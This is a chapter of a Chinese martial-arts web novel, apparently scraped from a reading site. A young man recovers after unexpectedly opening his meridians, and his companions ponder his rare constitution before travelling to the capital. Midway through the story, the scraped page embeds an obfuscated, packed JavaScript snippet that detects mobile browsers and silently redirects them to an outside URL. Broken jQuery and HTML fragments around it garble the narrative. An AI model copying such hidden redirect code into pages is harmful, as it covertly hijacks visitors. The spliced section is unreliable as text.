默认冷灰
24号文字
方正启体

13. 先天玄脉

作者:南山里的不知君本书字数:K更新时间:
    顾暄看了看雪落,又抬眼看其他三人,还是一副茫然的表情。


    他晕过去这段时间发生了什么?赵霄被他打了一顿?自己还赢了这把剑?妈呀,他做梦都不敢这么想。


    柳无喧瞧他的神色不似作伪,吃了一惊,下意识探了探他的额头:“不会吧,你失忆了?”


    “不排除这种可能。”一个清冷的女声响起,一个三十来岁的女子从外边进来,除顾暄外的几人纷纷起身见礼,顾暄便知道这是邹木神医了。


    顾暄略一低头,恭敬道:“邹神医。”


    邹木示意他伸出一只手,自己坐在床边给他把脉,“过誉……脉象还有些微弱,估计要再休养几天。至于失忆的事……你开脉时接近走火入魔,升境太快,之后境界猛地跌下来,对经脉的冲击太大,估计把这段记忆给忘了。也不是什么大事……”


    顾暄一边点头一边愤愤地想,真是如此的话怎么不忘了他被赵霄痛扁的那一段记忆?怎么就偏偏忘了自己痛打赵霄那一段?他可是全然没有印象的呀。


    并非所有人开脉时都是一帆风顺的。部分人会借用丹药或者让人帮忙开脉,但一不小心过了头,便会境界大涨,涨了之后经脉可能承受不住就碎了。


    万幸万幸,他的经脉没碎。


    顾暄想起自己晕倒前听到的那个声音,脸色敛了敛。那赵霄看着是三重境以上的实力,跟两名优秀弟子对决后,除非强行开脉的自己到了二重境以上的实力,不然自己绝无可能赢了他。


    究竟是怎么回事?


    邹木又换了一副方子,确认完顾暄没什么大事后出去了。


    谢予重新坐回座位,看着歪在床头上没个正形的顾暄,道:“那日你将赵霄击败后,体力不支晕了过去。后面发现你已经开脉了,甚至内力也达到了一重境中境,不过后面内力不稳,又退了下去。”


    顾暄的手动了动,他看了看自己手上细碎的伤痕,心里反倒觉得有些不切实际,“开脉?我吗?我哪来的内力?”


    谢予说:“你平时是否会喝药茶?或者吃丹药?”


    江湖上有人追求快速升境,主要是靠服药,无论是丹药还是药茶。


    顾暄想了想,前几年贼人伤着他的底子,王爷便托人找来一副方子,让他隔几天服用药茶,一连坚持了几年,他的身体也逐渐好转。


    他不知道会不会和这个有关,便把这些说了出来。


    谢予跟其他二人对视一眼,说:“药茶里可能放了一些东西,让你的经脉在被封住的情况下仍然有了一重境甚至更高的基础。那天赵霄伤着你,反而激发了你的潜能,让你顺势开了脉,这也算一件好事吧。不过内力涨得那么快,甚至能和内力消耗了一半以上的赵霄媲美,倒有些诡异,得回去问问师父。”


    被封住的经脉,每隔几天的药茶,王爷这是想干嘛?他有些迷茫,他想写信给顾柳青,又怕他不肯说。


    顾暄脸上敛去了那点担忧,转为一副笑容,“太好了,得亏那天打了赵霄一顿,不然这口气我咽不下。开了脉的话,我以后就可以习武了。”


    一想到这个,他又有些神往。当初被告知开脉困难时,他伤心了好一阵子。


    柳无喧坐在梨木椅上,嘻嘻笑道:“那天赵霄和他主子都被你打趴了,那世子的脸色难看得要死,又不得不认账,毕竟他们就输了。”


    顾暄:“那北安王世子叫什么来着?他的名字我给忘了。”


    谢予说:“沈昧,日字旁那个昧。”


    顾暄说:“哦哦我知道,是昧着良心那个昧。”


    听了他这话,柳无喧肩膀一抖一抖地笑起来,他发现顾暄这人真是有意思,有仇必报,连口角之争也不放过。


    他笑完正色道:“好了,再休整几天我们就得赶往京城了,云庄的大选要开始了,你想好要拜师哪位长老的门下吗?”


    云庄大选,四年一届,选拔有长处的弟子入门学习,比如文赋,比如武功,比如用毒,比如药理。云庄又分外院和内院,内院有庄主和三大长老,谢予他们几个应该是内院某位长老的弟子,不然不会年纪轻轻实力就这么厉害。


    谢予也就二十、二十一岁左右,实力就快接近三重境了。他的两位师弟和他年岁相仿,也达到了二重境上境了。


    这么说可能还不太明白几人的天赋。普通习武者,十七岁甚至未到一重境,况且每上一重境就困难加倍,二十多岁还在一重境的比比皆是。


    这三人这么年轻,实力却很强,当得上一句天赋异禀。


    顾暄想了想,问:“你师父应该没有指定我要拜师到谁的门下吧?”


    谢予说:“是,他只让你拜师云庄。”


    哦,那内院外院都无所谓了。可是……


    顾暄想了想,问:“云庄是不是庄主最厉害?我要拜他为师的话要达到什么条件?”


    他的想法是先试试最厉害的那个人,拜师不成再依次往下选,如果反过来的话可能会错失良机,这道理就跟剑门取剑一样。


    几人这下真的惊讶了,这人刚开脉不久,一上来就问拜师庄主的条件,被旁人听到了都会说这是失心疯的程度。


    云谨打开折扇扇了扇风,那双潋滟的桃花眼弯了下来,笑道:“云庄确实是师父最厉害,不过要拜师到他的门下得过了大选。”


    师父……


    顾暄反应过来,“你们的师父是庄主?”


    柳无喧点点头,“是啊,我们如此天纵奇才,只有他才配得上我们。”其余二人一人的大半张脸隐藏在折扇下,另一人喝茶不说话,似乎是对这倒反天罡的话免疫了。


    顾暄也不惊讶,只是点了点头,“难怪呢。”


    柳无喧坐在梨木椅上的身子朝他那个方向倾斜了几分,带着点好奇说道:“我觉得你好像对什么都见怪不怪……无论是北安王世子,还是我们几个,还是师父。”


    顾暄心想,北安王和东平王爵位相同,所以他不害怕,况且他的背后也是王府;柳无喧几人年纪轻轻就是二重境以上的高手,拜师内院也不足为奇;至于谈到拜师庄主,难道这几百年间就没有什么大放厥词、异想天开的人吗?总不会人人都自谦至极吧?


    顾暄脸上不显,只高深莫测地点了点头。


    因为大选在即,几人又休息了几天,等顾暄能下地走路了便开始赶路。他们拜别魏巍门主——魏巍看到自己千辛万苦锻造出来的剑没有落在赵霄手上,心底里松了一口气,对顾暄说了一堆什么“少年有为”“好好加油”“名扬天下”之类的话。


    江湖朝堂本为两体,但剑门身处凡世,税收什么的还要交的呢,跟地方官员不可能说没关系。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278645|198315||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    话末,他有些担心,道:“那北安王世子这次弑羽而归,魏某担心他日后会找公子的不是。”


    顾暄当时正拿着自己那把雪落在看,闻言笑道:“魏庄主不必担心,北安王与我父亲是旧识,他要是知道我的身份断不敢乱来的。”


    魏巍微微瞪大眼睛,“你是——”


    柳无喧站在魏巍身旁,替他接下了接下来的话,“他是王爷的孩子。”


    和北安王同为旧识,又姓顾的,魏巍想到了当年和信王并称为“京城两大美男”的东平王顾柳青。顾柳青的长子名叫顾映,去年游历时在荆州、梁州一带小有名气。


    东平王的次子比他的哥哥名气小很多,据说没出过东临城,是个体弱的少爷。然而,这位少爷取走了剑门这年出品的最好佩剑。


    几人这次要经一段水路到巴城,从成都平原北上至汉中一带,再经官道到京城。他们离开剑门时是七月末,越往北,秋天的痕迹越明显。


    金风送爽,丹桂飘香,层林尽染。


    一路上,往京城的人多了起来,估计不少是为了云庄这次的大选的。顾暄这下真切感受到大选竞争的难度了,有地方官员的孩子,有江湖门派的弟子,说句群英荟萃也不为过。


    等顾暄差不多能活动自如,他便开始习武。顾映给他收拾行李时,在里边塞了几本自己绘制的书。顾暄打开一看,眼眶就酸了。


    这上面画着图案,有口诀,有注解,是顾映习武师父教他的。一共三本,顾映不知道多久前开始写了,有些字迹还带着些稚嫩,越往后字迹越成熟。


    在马车上,顾暄就加班加点看书。一到某个地方休息时,他就开始练武。


    柳无喧几人闲着也是闲着,得空时便轮流过来指导他动作,这里走错了,那里剑法不对,和人过招时应该这样避让。


    柳无喧为了让他在未来与人对决时灵活一些,甚至教了他几招赤城的刀法。独门功法一般不轻易外传,不知道赤城的掌门知道后会不会气得哇哇叫。


    顾暄练得满头大汗,柳无喧在一旁指导他,其余二人坐在远一些的地方品茗观看。


    云谨问:“你觉得他天赋如何?”


    谢予慢悠悠地给自己续上一杯茶水,等吹开茶杯上那阵白气才开口:“很好。一方面离不开那药茶的作用,另一方面不知道为何,他的经脉异于常人,让我想起传闻里的先天玄脉。”


    “另外,那日赵霄虽然耗去了大部分内力,但水平对付一重境的人还是绰绰有余的,怎么会几下子被顾暄打得还不了手呢?”


    先天玄脉,被誉为“天地造物”,据说一出生就有不低的修为,别人开脉后的基础修为是一重境,先天玄脉的可能更高。但目前来看,顾暄展现出来的还是一重境下境或中境的实力,而且还是靠药茶喝出来的。


    云谨道:“我还以为先天玄脉是古书里杜撰出来的,现实中还没见过。他身上确实有许多疑点,难怪师父非得让这人到云庄。少年天才,若不能为我道所用,只怕也是个麻烦。”


    谢予搁下茶杯,目光落在顾暄因为练武甩在衣服外的三角形黑玉坠子,忽然道:“那坠子不错。”


    云谨看过去。


    谢予起身,因为他那不靠谱的师弟差点就误人子弟了,他要过去纠正,免得那看着不错的苗子长歪了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)